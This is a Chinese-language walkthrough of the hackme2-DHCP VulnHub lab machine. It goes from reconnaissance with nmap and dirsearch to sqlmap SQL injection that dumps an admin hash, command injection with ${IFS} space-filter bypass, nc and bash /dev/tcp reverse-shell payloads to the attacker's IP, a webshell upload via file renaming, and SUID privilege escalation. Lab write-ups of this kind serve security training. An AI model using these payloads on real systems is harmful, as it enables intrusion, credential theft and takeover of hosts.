一、介绍
运行环境:Virtualbox(攻击机)和VMware(靶机)
攻击机:kali(192.168.56.106)
靶机:hackme2-DHCP(192.168.56.107)
目标:获取靶机root权限和flag
靶机下载地址:https://download.vulnhub.com/hackme/hackme2-DHCP.ova
二、信息收集
因为靶机导入Virtualbox会报错,所以靶机使用VMware
使用nmap主机发现,靶机ip为:192.168.56.107
netdiscover -i eth1 -r 192.168.56.0/24
使用nmap端口扫描发现,靶机开放端口:22、80
80端口:打开网站发现是一个登录界面,查看源码没有发现隐藏信息。
登录界面首先猜测是否存在sql注入漏洞,可以使用sqlmap跑一下,发现不存在sql注入漏洞
sqlmap -u http://192.168.56.107/login.php --forms --dbs
使用dirsearch工具进行目录爆破
有一个注册页面,我们可以注册一个账号,登录,看看登录后有没有可利用的点
三、漏洞利用
登录后,发现存在一个查找book的功能点,怀疑存在sql注入漏洞,使用burpsuite截取该功能点的数据包,保存在post.txt里面,使用sqlmap工具进行测试,存在sql注入
sqlmap -r post.txt --dbs
sqlmap -r post.txt -D webapphacking --tables
sqlmap -r post.txt -D webapphacking -T users --dump
发现管理员账号的用户名和加密的密码,可以使用在线MD5解密网站进行解密
superadmin:2386acb2cf356944177746fc92523983
解密得到:Uncrackable
管理员账号登录网站,登录后发现存在文件上传功能点,直接上传webshell
发现上传失败,只能上传图片文件
页面下面有一个搜索用户活动的功能点,可已尝试判断是否存在XSS、命令注入、模板注入等漏洞,测试命令注入,输入6*6、5*6
,可以发现5*6
执行了等于 30
,说明Last Name:
存在命令注入。
可以尝试使用命令注入反弹shell,发现靶机命令注入过滤了空格
可以使用${IFS}
绕过空格过滤
system('which${IFS}nc')
反弹shell,尝试过很多命令但都失败
system('nc${IFS}-e${IFS}/bin/bash${IFS}192.168.56.106${IFS}4444')
system("bash${IFS}-i${IFS}>&${IFS}/dev/tcp/192.168.56.106/4444${IFS}0>&1")
system("bash${IFS}-c${IFS}'bash${IFS}-i${IFS}>&${IFS}/dev/tcp/192.168.56.106/4444${IFS}0>&1'")
system('nc${IFS}-c${IFS}bash${IFS}192.168.56.106${IFS}4444')
先将shell文件的后缀修改为png,并上传到靶机,然后使用命令注入将上传的shell后缀修改回php,进行反弹shell
system('ls${IFS}uploads')
system('ls${IFS}uploads/year2020')
system('mv${IFS}uploads/year2020/shell.png${IFS}uploads/year2020/shell.php')
修改后缀,修改成功
访问shell.php,反弹shell
shell的路径:/uploads/year2020/shell.php
获取交互式shell
python -c 'import pty; pty.spawn("/bin/bash")'
四、提权
查看是否存在特权命令,和具有可利用的root权限的文件,发现一个可疑文件/home/legacy/touchmenot
find / -perm -u=s -type f 2>/dev/null
直接执行该文件,获得root权限
未发现flag
参考链接:靶机渗透 HACKME-2 _hackme2-CSDN博客